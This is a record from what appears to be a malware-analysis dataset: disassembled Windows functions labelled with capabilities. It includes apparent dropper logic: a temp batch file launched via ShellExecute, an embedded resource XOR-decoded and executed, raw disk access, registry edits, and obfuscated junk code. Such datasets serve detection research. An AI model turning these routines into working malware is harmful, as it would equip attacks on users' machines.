joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4011ea
Capabilities:
Create process on windows
Get common file path
Write and execute a file
Write file on windows

Disassembly:
push ebp
lea ebp, [esp - 0x29c]
sub esp, 0x31c
mov eax, dword [0x404038]
xor eax, ebp
mov dword [ebp + 0x298], eax
push ebx
push esi
xor ebx, ebx
push 1
mov dword [ebp - 0x7c], ebx
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [ebp + 0x194]
push eax
mov esi, 0x104
push esi
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea eax, [ebp + 0x194]
push str._unins_update.bat
push eax
call sub.MSVCR90.dll_strcat
pop ecx
pop ecx
push esi
lea eax, [ebp + 0x90]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp + 0x90]
push eax
lea eax, [ebp - 0x74]
push eax
call sub.MSVCR90.dll_strcpy
lea eax, [ebp - 0x74]
push 0x5c
push eax
call dword [sym.imp.MSVCR90.dll_strrchr]
add esp, 0x10
cmp eax, ebx
je 0x40126e
mov byte [eax], bl
push ebx
push 0x80
push 2
push ebx
push ebx
push 0x40000000
lea eax, [ebp + 0x194]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x78], eax
cmp eax, 0xffffffff
je 0x401338
lea eax, [ebp + 0x90]
push edi
push eax
call sub.MSVCR90.dll_strlen
mov esi, eax
mov edi, section..data
imul esi, esi, 3
push edi
call sub.MSVCR90.dll_strlen
add esi, eax
lea eax, [ebp + 0x194]
push eax
call sub.MSVCR90.dll_strlen
lea eax, [eax + esi + 0x32]
push eax
mov dword [ebp - 0x80], eax
call dword [sym.imp.MSVCR90.dll_malloc]
push dword [ebp - 0x80]
mov esi, eax
push ebx
push esi
call sub.MSVCR90.dll_memset
lea eax, [ebp + 0x194]
push eax
lea eax, [ebp + 0x90]
push eax
push eax
push edi
push esi
call dword [sym.imp.MSVCR90.dll_sprintf]
add esp, 0x30
push ebx
lea eax, [ebp - 0x7c]
push eax
push esi
call sub.MSVCR90.dll_strlen
pop ecx
push eax
push esi
push dword [ebp - 0x78]
call dword [sym.imp.KERNEL32.dll_WriteFile]
push dword [ebp - 0x78]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebx
push ebx
push ebx
lea eax, [ebp + 0x194]
push eax
push 0x40319c
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
pop edi
cmp esi, ebx
je 0x401338
push esi
call dword [sym.imp.MSVCR90.dll_free]
pop ecx
mov ecx, dword [ebp + 0x298]
pop esi
xor ecx, ebp
pop ebx
call fcn.00401cde
add ebp, 0x29c
leave
ret
Function at 0x40134f
Capabilities:
Query or enumerate registry value
Set registry value

Disassembly:
push ebp
lea ebp, [esp - 0x9c]
sub esp, 0x11c
mov eax, dword [0x404038]
xor eax, ebp
mov dword [ebp + 0x98], eax
push ebx
push esi
push edi
push 4
pop ebx
push 6
pop ecx
mov esi, 0x403268
lea edi, [ebp - 0x6c]
rep movsd dword es:[edi], dword [esi]
xor eax, eax
push 0xeb
push eax
mov dword [ebp - 0x7c], eax
mov dword [ebp - 0x78], eax
lea eax, [ebp - 0x53]
push eax
mov dword [ebp - 0x80], ebx
mov dword [ebp - 0x74], 0x3f6
movsb byte es:[edi], byte [esi]
call sub.MSVCR90.dll_memset
add esp, 0xc
lea eax, [ebp - 0x70]
push eax
push 0xf003f
xor edi, edi
push edi
lea eax, [ebp - 0x6c]
push eax
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x40151a
lea eax, [ebp - 0x80]
push eax
lea eax, [ebp - 0x78]
push eax
push edi
push edi
push 0x40325c
push dword [ebp - 0x70]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x40151a
lea eax, [ebp - 0x80]
push eax
lea eax, [ebp - 0x78]
push eax
push edi
push edi
mov esi, str.VERSION_Value
push esi
push dword [ebp - 0x70]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x401496
mov eax, dword [ebp - 0x78]
cmp eax, dword [ebp - 0x74]
je 0x40148a
push ebx
lea eax, [ebp - 0x74]
push eax
push ebx
push edi
push esi
push dword [ebp - 0x70]
mov esi, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
call esi
mov edi, 0x403214
push edi
call sub.MSVCR90.dll_strlen
pop ecx
inc eax
push eax
push edi
push 1
push 0
push 0x403204
push dword [ebp - 0x70]
call esi
mov edi, str.ff3487rbea4775grsn9_.uvu_an1135_1_bml_22114i81
push edi
call sub.MSVCR90.dll_strlen
pop ecx
inc eax
push eax
push edi
push 1
xor edi, edi
push edi
push 0x4031c4
push dword [ebp - 0x70]
call esi
call fcn.004010a4
call fcn.00401bc1
push ebx
push 0x404050
push ebx
push edi
push 0x40325c
push dword [ebp - 0x70]
call esi
push ebx
push 0x404054
push ebx
push edi
push 0x4031b8
push dword [ebp - 0x70]
call esi
mov dword [ebp - 0x7c], 1
jmp 0x40151a
push ebx
lea eax, [ebp - 0x74]
push eax
push ebx
push edi
push esi
push dword [ebp - 0x70]
mov esi, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
call esi
mov edi, 0x403214
push edi
call sub.MSVCR90.dll_strlen
pop ecx
inc eax
push eax
push edi
push 1
push 0
push 0x403204
push dword [ebp - 0x70]
call esi
mov edi, str.ff3487rbea4775grsn9_.uvu_an1135_1_bml_22114i81
push edi
call sub.MSVCR90.dll_strlen
pop ecx
inc eax
push eax
push edi
xor edi, edi
inc edi
push edi
push 0
push 0x4031c4
push dword [ebp - 0x70]
call esi
call fcn.004010a4
call fcn.00401bc1
push ebx
push 0x404050
push ebx
push 0
push 0x40325c
push dword [ebp - 0x70]
call esi
push ebx
push 0x404054
push ebx
push 0
push 0x4031b8
push dword [ebp - 0x70]
call esi
mov dword [ebp - 0x7c], edi
xor edi, edi
cmp dword [ebp - 0x70], edi
pop edi
pop esi
pop ebx
je 0x40152b
push dword [ebp - 0x70]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp + 0x98]
mov eax, dword [ebp - 0x7c]
xor ecx, ebp
call fcn.00401cde
add ebp, 0x9c
leave
ret
Function at 0x401543
Capabilities:
Acquire debug privileges

Disassembly:
push 0
push 0
call dword [sym.imp.USER32.dll_KillTimer]
call fcn.00402545
push 1
push 0x403284
call fcn.00401169
pop ecx
pop ecx
call fcn.0040134f
call fcn.004011ea
xor eax, eax
ret 0x10

Function at 0x40165f
Capabilities:
Delete file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
push dword [ebp + 8]
xor edi, edi
call dword [sym.imp.MSVCR90.dll_remove]
mov dword [esp], 0x4032a4
push dword [ebp + 8]
call dword [sym.imp.MSVCR90.dll_fopen]
mov esi, eax
pop ecx
pop ecx
test esi, esi
je 0x4016a7
push esi
push dword [ebp + 0x10]
push 1
push dword [ebp + 0xc]
call dword [sym.imp.MSVCR90.dll_fwrite]
add esp, 0x10
cmp eax, dword [ebp + 0x10]
jne 0x40169f
inc edi
push esi
call dword [sym.imp.MSVCR90.dll_fclose]
pop ecx
mov eax, edi
pop edi
pop esi
pop ebp
ret

Function at 0x4016ad
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push edi
xor ecx, ecx
xor eax, eax
cmp dword [ebp + 8], 0xffffffff
mov dword [ebp - 0x18], ecx
lea edi, [ebp - 0x14]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov dword [ebp - 4], ecx
pop edi
je 0x4016f9
mov eax, dword [ebp + 0xc]
mov ecx, 0x200
mul ecx
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 4]
push eax
mov eax, dword [ebp + 0x10]
shl eax, 9
push eax
push dword [ebp + 0x14]
mov dword [ebp - 0xc], edx
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov ecx, eax
mov eax, ecx
leave
ret

Function at 0x401760
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
xor ebx, ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push dword [ebp + 0xc]
mov esi, eax
push dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov dword [ebp - 4], eax
cmp eax, ebx
je 0x4017ed
push edi
push eax
push esi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push dword [ebp - 4]
mov edi, eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
push eax
mov dword [ebp - 8], eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x10]
mov esi, edi
and esi, 0x1ff
neg esi
sbb esi, esi
mov dword [eax], edi
mov eax, edi
neg esi
shr eax, 9
add esi, eax
shl esi, 9
push esi
call sub.MSVCR90.dll_void____cdecl_operator_new_unsigned_int_
push esi
mov ebx, eax
push 0
push ebx
call sub.MSVCR90.dll_memset
push edi
push dword [ebp - 4]
push ebx
call sub.MSVCR90.dll_memcpy
add esp, 0x1c
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_FreeResource]
pop edi
pop esi
mov eax, ebx
pop ebx
leave
ret
Function at 0x4017f3
Capabilities:
Get common file path

Disassembly:
push ebp
lea ebp, [esp - 0x194]
sub esp, 0x214
mov eax, dword [0x404038]
xor eax, ebp
mov dword [ebp + 0x190], eax
push ebx
push esi
push edi
mov edi, dword [ebp + 0x1a0]
xor ebx, ebx
mov esi, 0x103
push esi
lea eax, [ebp - 0x77]
push ebx
push eax
mov dword [ebp - 0x7c], ebx
mov byte [ebp - 0x78], bl
call sub.MSVCR90.dll_memset
push esi
lea eax, [ebp + 0x8d]
push ebx
push eax
mov byte [ebp + 0x8c], bl
call sub.MSVCR90.dll_memset
add esp, 0x18
cmp dword [ebp + 0x1a4], ebx
jne 0x401890
push 0x104
lea eax, [ebp - 0x78]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea eax, [ebp - 0x78]
push eax
lea eax, [ebp + 0x8c]
push eax
call sub.MSVCR90.dll_strcpy
lea eax, [ebp + 0x8c]
push 0x403198
push eax
call sub.MSVCR90.dll_strcat
lea eax, [ebp + 0x8c]
push edi
push eax
call sub.MSVCR90.dll_strcat
add esp, 0x18
jmp 0x40189f
lea eax, [ebp + 0x8c]
push edi
push eax
call sub.MSVCR90.dll_strcpy
pop ecx
pop ecx
lea eax, [ebp - 0x80]
push eax
push str.IDR_BINARY
push dword [ebp + 0x19c]
mov dword [ebp - 0x80], ebx
call fcn.00401760
mov esi, eax
add esp, 0xc
cmp esi, ebx
je 0x4018e4
push dword [ebp - 0x80]
lea eax, [ebp + 0x8c]
push esi
push eax
call fcn.0040165f
add esp, 0xc
test eax, eax
je 0x4018dd
mov dword [ebp - 0x7c], 1
push esi
call sub.MSVCR90.dll_void___cdecl_operator_delete_void__
pop ecx
mov ecx, dword [ebp + 0x190]
mov eax, dword [ebp - 0x7c]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00401cde
add ebp, 0x194
leave
ret

Function at 0x4018ff
Capabilities:
Get disk information via ioctl

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push esi
push edi
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
xor edi, edi
xor esi, esi
cmp dword [ebp + 8], 0xffffffff
mov dword [ebp - 8], edi
mov dword [ebp - 0x14], edi
mov dword [ebp - 0x10], edi
je 0x4019a9
push ebx
mov ebx, 0xc00
push ebx
call sub.MSVCR90.dll_void____cdecl_operator_new_unsigned_int_
pop ecx
mov dword [ebp - 4], eax
xor eax, eax
push eax
lea ecx, [ebp - 0xc]
push ecx
push ebx
push dword [ebp - 4]
push eax
push eax
push 0x70050
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
test eax, eax
je 0x401999
mov eax, dword [ebp - 4]
push 4
add eax, 0x38
pop ebx
mov edx, dword [eax + 4]
cmp edx, dword [ebp - 0x10]
mov ecx, dword [eax]
jl 0x40197b
jg 0x40196f
cmp ecx, dword [ebp - 0x14]
jbe 0x40197b
mov esi, dword [eax + 8]
mov edi, dword [eax + 0xc]
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x10], edx
add eax, 0x90
dec ebx
jne 0x40195e
add esi, dword [ebp - 0x14]
push ebx
adc edi, dword [ebp - 0x10]
push 0x200
push edi
push esi
call fcn.00401d00
mov dword [ebp - 8], eax
cmp dword [ebp - 4], 0
pop ebx
je 0x4019a9
push dword [ebp - 4]
call sub.MSVCR90.dll_void___cdecl_operator_delete_void__
pop ecx
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 8]
pop edi
pop esi
leave
ret
Function at 0x401a33
Capabilities:
Encode data using xor
Get common file path

Disassembly:
push ebp
lea ebp, [esp - 0x8c]
sub esp, 0x10c
mov eax, dword [0x404038]
xor eax, ebp
mov dword [ebp + 0x88], eax
push esi
push 0x103
lea eax, [ebp - 0x7b]
push 0
push eax
mov byte [ebp - 0x7c], 0
call sub.MSVCR90.dll_memset
add esp, 0xc
push 0x104
lea eax, [ebp - 0x7c]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
lea eax, [ebp - 0x7c]
push 0x4032b4
push eax
call sub.MSVCR90.dll_strcat
and dword [ebp - 0x80], 0
lea eax, [ebp - 0x80]
push eax
push str.IDR_BINARY
push 0x66
call fcn.00401760
mov esi, eax
add esp, 0x14
test esi, esi
je 0x401ad0
xor eax, eax
cmp dword [ebp - 0x80], eax
jle 0x401ab1
xor byte [eax + esi], 0x99
inc eax
cmp eax, dword [ebp - 0x80]
jl 0x401aa7
push dword [ebp - 0x80]
lea eax, [ebp - 0x7c]
push esi
push eax
call fcn.0040165f
lea eax, [ebp - 0x7c]
push eax
call section..text
push esi
call sub.MSVCR90.dll_void___cdecl_operator_delete_void__
add esp, 0x14
mov ecx, dword [ebp + 0x88]
xor ecx, ebp
xor eax, eax
pop esi
call fcn.00401cde
add ebp, 0x8c
leave
ret

Function at 0x401bc1
Capabilities:
Get common file path

Disassembly:
push ebp
lea ebp, [esp - 0x90]
sub esp, 0x110
mov eax, dword [0x404038]
xor eax, ebp
mov dword [ebp + 0x8c], eax
push ebx
push esi
push edi
xor ebx, ebx
push 0x103
lea eax, [ebp - 0x77]
push ebx
push eax
mov dword [ebp - 0x7c], ebx
mov byte [ebp - 0x78], bl
call sub.MSVCR90.dll_memset
add esp, 0xc
push 0x104
lea eax, [ebp - 0x78]
push eax
mov dword [ebp - 0x80], ebx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea eax, [ebp - 0x80]
push eax
movsx eax, byte [ebp - 0x78]
sub eax, 0x41
push eax
call fcn.0040156f
push dword [ebp - 0x80]
call fcn.00401ae8
mov edi, eax
add esp, 0xc
cmp edi, 0xffffffff
je 0x401c9a
cmp edi, ebx
je 0x401c9a
push edi
call fcn.004018ff
push edi
mov esi, eax
call fcn.004019b8
sub eax, esi
pop ecx
pop ecx
cmp eax, 0x29a
jae 0x401c60
mov ecx, 0x2aa
sub ecx, eax
lea edx, [ecx + 0x32000]
cmp esi, edx
jbe 0x401c9a
sub esi, ecx
add eax, ecx
cmp eax, 0xa00000
jbe 0x401c76
push edi
call fcn.004019b8
mov esi, eax
pop ecx
sub esi, 0x2800
lea eax, [esi + 0x6a]
push 0x404054
push eax
push edi
mov dword [0x404050], eax
call fcn.00401b70
add esp, 0xc
test eax, eax
je 0x401c9a
mov dword [ebp - 0x7c], 1
jmp 0x401cab
mov dword [0x404050], ebx
mov dword [0x404054], ebx
call fcn.00401a33
cmp edi, 0xffffffff
je 0x401cb7
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp + 0x8c]
mov eax, dword [ebp - 0x7c]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00401cde
add ebp, 0x90
leave
ret

Function at 0x401cde
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x404038]
jne 0x401ce8
repz ret
jmp fcn.004020d1
Function at 0x40279c
Capabilities:
Generate random numbers using the delphi lcg

Disassembly:
imul edx, dword [0x40c02c], 0x8088405
inc edx
mov dword [0x40c02c], edx
mul edx
mov eax, edx
ret

Function at 0x4042e8
Capabilities:
Encode data using xor

Disassembly:
push 0x4eab8b0a
mov ecx, 0x4eab8b2a
pop eax
xor ecx, eax
mov edi, 0x47a9135
xor edi, 0x47a912c
xor ecx, edi
mov edx, 0x70448022
mov edi, 0xc181101
xor edx, edi
mov esi, 0xe5653e4
xor esi, 0x720ac8c7
xor esi, edx
xor ecx, esi
mov eax, ecx
add esp, 0xfffffffc
mov dword [esp], eax
pop edx
mov edi, 0
xor edi, edx
mov eax, edi
push eax
pop ecx
mov esi, ecx
mov edi, 0x4842439a
xor edi, 0xb7bdbc65
add esi, edi
mov edi, esi
mov ebx, 0x222e18d3
mov edx, 0xddd1e72f
xor edx, ebx
add esp, edx
mov dword [esp], edi
and ecx, 0xa2ffffff
invalid
jmp dword [edx + 0x10212ba]
sbb byte [esi + 0x224a8c0], bh
xor edx, esi
push 0x164cd4ee
mov ebx, 0xc697e3c
pop edi
xor ebx, edi
xor ebx, edx
xor ebx, ecx
add ebx, ecx
jne 0x403f42
pop edi
mov ebx, 0x5d490601
xor ebx, 0x5d09d781
mov edi, ebx
dec edi
mov ecx, dword [edi + 1]
mov edx, ecx
dec edx
mov ebx, dword [edx + 1]
mov eax, 0x73daffc5
xor ebx, eax
add esp, 0xfffffffc
mov edi, esp
mov dword [edi], ebx
pop edx
mov edi, 0x8ad12c4
mov esi, 0x8ad12c4
xor esi, edi
xor esi, edx
mov edi, 4
mov ecx, 0
xor edi, ecx
sub esp, edi
mov dword [esp], esi
mov eax, 0x60c01f9e
xor eax, 0x3dbc3265
mov ebx, eax
xor ebx, 0xffffffff
and ebx, 0xa5f32db5
and eax, 0x5a0cd24a
or eax, ebx
xor edx, eax
push 0x38505012
mov ecx, 0x6069b205
pop ebx
xor ecx, ebx
mov ebx, 0x5839e217
xor ecx, ebx
xor ecx, edx
and ecx, ecx
jne 0x404061
add byte [eax], al
invalid
mov edi, 0x3222800
xor edx, edx
add edx, ebx
xor ebx, ebx
add ebx, edx
jmp 0x403efa

Function at 0x40520c
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff00
push ebx
push esi
mov esi, ecx
mov ebx, dword [ebp + 8]
push pe_nt_image_headers32
lea ecx, [ebp - 0x100]
push ecx
push edx
push eax
call sub.kernel32.dll_GetLocaleInfoA
test eax, eax
jle 0x405245
mov ecx, eax
dec ecx
lea edx, [ebp - 0x100]
mov eax, ebx
call fcn.00403278
jmp 0x40524e
mov eax, ebx
mov edx, esi
call fcn.0040322c
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x405258
Capabilities:
Get geographical location

Disassembly:
push ebx
push esi
push edi
push ecx
mov ebx, ecx
mov esi, edx
mov edi, eax
push 2
lea eax, [esp + 4]
push eax
push esi
push edi
call sub.kernel32.dll_GetLocaleInfoA
test eax, eax
jle 0x405279
mov al, byte [esp]
jmp 0x40527b
mov eax, ebx
pop edx
pop edi
pop esi
pop ebx
ret

Function at 0x4069dc
Capabilities:
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push 0
push ebx
push esi
push edi
mov ebx, eax
xor eax, eax
push ebp
push 0x406a24
push dword fs:[eax]
mov dword fs:[eax], esp
lea edx, [ebp - 4]
mov eax, ebx
call fcn.00406978
mov eax, dword [ebp - 4]
call fcn.00403414
push eax
call sub.kernel32.dll_GetFileAttributesA
mov ebx, eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x406a2b
lea eax, [ebp - 4]
call fcn.00403198
ret
Function at 0x407890
Capabilities:
Hash data with crc32

Disassembly:
push esi
xor esi, esi
mov ecx, 0x40c55c
mov eax, esi
mov edx, 8
test al, 1
je 0x4078ac
shr eax, 1
xor eax, 0xedb88320
jmp 0x4078ae
shr eax, 1
dec edx
jne 0x40789f
mov dword [ecx], eax
inc esi
add ecx, 4
cmp esi, 0x100
jne 0x407898
pop esi
ret

Function at 0x4078c4
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
push edi
mov esi, ecx
mov edi, edx
mov ebx, eax
cmp dword [0x40c558], 0
jne 0x4078e7
call fcn.00407890
push 1
push 0x40c558
call sub.kernel32.dll_InterlockedExchange
mov eax, edi
test esi, esi
je 0x407912
mov edx, ebx
and dx, 0xff
xor ecx, ecx
mov cl, byte [eax]
xor dx, cx
movzx edx, dx
mov edx, dword [edx*4 + 0x40c55c]
shr ebx, 8
xor edx, ebx
mov ebx, edx
dec esi
inc eax
test esi, esi
jne 0x4078ed
mov eax, ebx
pop edi
pop esi
pop ebx
ret

Function at 0x408fbc
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
push esi
mov esi, edx
mov ebx, eax
lea edx, [ebp - 0xc]
mov eax, ebx
call fcn.00408f70
test al, al
jne 0x408fdd
xor eax, eax
mov dword [ebp - 4], eax
jmp 0x409029
xor eax, eax
push ebp
push 0x409019
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, esi
call fcn.00403414
push eax
call sub.kernel32.dll_DeleteFileA
mov dword [ebp - 4], eax
call sub.kernel32.dll_GetLastError_1
mov dword [ebp - 0x10], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x409020
lea eax, [ebp - 0xc]
call fcn.00408fac
ret
mov eax, dword [ebp - 4]
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x409330
Capabilities:
Create directory

Disassembly:
push ebp
mov ebp, esp
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ebx
push esi
push edi
mov esi, eax
xor eax, eax
push ebp
push 0x40941f
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 8]
call fcn.00406cf4
mov edx, dword [ebp - 8]
mov ecx, 0x409438
xor eax, eax
call fcn.00409224
push 0
mov eax, dword [ebp - 4]
call fcn.00403414
push eax
call sub.kernel32.dll_CreateDirectoryA
test eax, eax
jne 0x4093ed
call sub.kernel32.dll_GetLastError_1
mov ebx, eax
cmp ebx, 0xb7
je 0x409350
lea eax, [ebp - 8]
push eax
lea ecx, [ebp - 0x18]
mov edx, dword [ebp - 4]
mov al, 0x35
call fcn.00408dd8
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x14], eax
lea edx, [ebp - 0x1c]
mov eax, ebx
call fcn.00404c94
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x10], eax
lea edx, [ebp - 0x20]
mov eax, ebx
call fcn.00407284
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0xc], eax
lea edx, [ebp - 0x14]
mov ecx, 2
mov al, 0x67
call fcn.00408da8
mov ecx, dword [ebp - 8]
mov dl, 1
mov eax, 0x404660
call fcn.00405890
call fcn.00402eb4
jmp 0x409350
mov eax, esi
mov edx, dword [ebp - 4]
call fcn.0040322c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x409426
lea eax, [ebp - 0x20]
mov edx, 3
call fcn.004031b8
lea eax, [ebp - 8]
mov edx, 2
call fcn.004031b8
ret
Function at 0x40953c
Capabilities:
Identify system language via api

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
push edi
mov edi, ecx
mov byte [ebp - 1], dl
mov esi, eax
mov eax, dword [ebp + 8]
xor edx, edx
mov dword [eax], edx
mov byte [ebp - 2], 0
test edi, edi
je 0x409589
xor ebx, ebx
jmp 0x40957e
mov eax, dword [ebp - 8]
mov edx, dword [eax]
mov eax, edi
call fcn.00404c40
test eax, eax
jne 0x40957d
mov eax, dword [ebp + 8]
mov dword [eax], ebx
mov byte [ebp - 2], 2
jmp 0x409639
inc ebx
lea edx, [ebp - 8]
mov eax, ebx
call esi
test al, al
jne 0x40955f
mov al, byte [ebp - 1]
sub al, 1
jb 0x409594
je 0x40959d
jmp 0x4095a6
call fcn.00407024
mov edi, eax
jmp 0x4095a8
call sub.kernel32.dll_GetUserDefaultLangID
mov edi, eax
jmp 0x4095a8
xor edi, edi
test di, di
je 0x409639
xor ebx, ebx
jmp 0x4095e4
mov eax, dword [ebp - 8]
mov eax, dword [eax + 0x28]
movzx edx, di
cmp eax, edx
jne 0x4095e3
mov eax, dword [ebp - 8]
cmp dword [eax + 0x2c], 0
je 0x4095d8
call sub.kernel32.dll_GetACP
mov edx, dword [ebp - 8]
cmp eax, dword [edx + 0x2c]
jne 0x4095e3
mov eax, dword [ebp + 8]
mov dword [eax], ebx
mov byte [ebp - 2], 1
jmp 0x409639
inc ebx
lea edx, [ebp - 8]
mov eax, ebx
call esi
test al, al
jne 0x4095b5
xor ebx, ebx
jmp 0x40962e
mov eax, dword [ebp - 8]
mov eax, dword [eax + 0x28]
and eax, 0x3ff
mov edx, edi
and dx, 0x3ff
movzx edx, dx
cmp eax, edx
jne 0x40962d
mov eax, dword [ebp - 8]
cmp dword [eax + 0x2c], 0
je 0x409622
call sub.kernel32.dll_GetACP
mov edx, dword [ebp - 8]
cmp eax, dword [edx + 0x2c]
jne 0x40962d
mov eax, dword [ebp + 8]
mov dword [eax], ebx
mov byte [ebp - 2], 1
jmp 0x409639
inc ebx
lea edx, [ebp - 8]
mov eax, ebx
call esi
test al, al
jne 0x4095f3
mov al, byte [ebp - 2]
pop edi
pop esi
pop ebx
pop ecx
pop ecx
pop ebp
ret 4

Function at 0x4099a4
Capabilities:
Create process on windows
Create process suspended

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffa8
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 4], ebx
mov edi, ecx
mov esi, edx
mov ebx, eax
xor eax, eax
push ebp
push 0x409a77
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x409a90
push ebx
push 0x409a9c
push esi
lea eax, [ebp - 4]
mov edx, 4
call fcn.004033b4
lea eax, [ebp - 0x48]
xor ecx, ecx
mov edx, 0x44
call fcn.0040277c
mov dword [ebp - 0x48], 0x44
lea eax, [ebp - 0x58]
push eax
lea eax, [ebp - 0x48]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
mov eax, dword [ebp - 4]
call fcn.00403414
push eax
push 0
call sub.kernel32.dll_CreateProcessA
test eax, eax
jne 0x409a24
mov al, 0x69
call fcn.00409648
mov eax, dword [ebp - 0x54]
push eax
call sub.kernel32.dll_CloseHandle_1
call fcn.00409978
push 0xff
push 0xffffffffffffffff
push 0
lea eax, [ebp - 0x58]
push eax
push 1
call sub.user32.dll_MsgWaitForMultipleObjects
dec eax
je 0x409a2d
call fcn.00409978
push edi
mov eax, dword [ebp - 0x58]
push eax
call sub.kernel32.dll_GetExitCodeProcess
mov eax, dword [ebp - 0x58]
push eax
call sub.kernel32.dll_CloseHandle_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x409a7e
lea eax, [ebp - 4]
call fcn.00403198
ret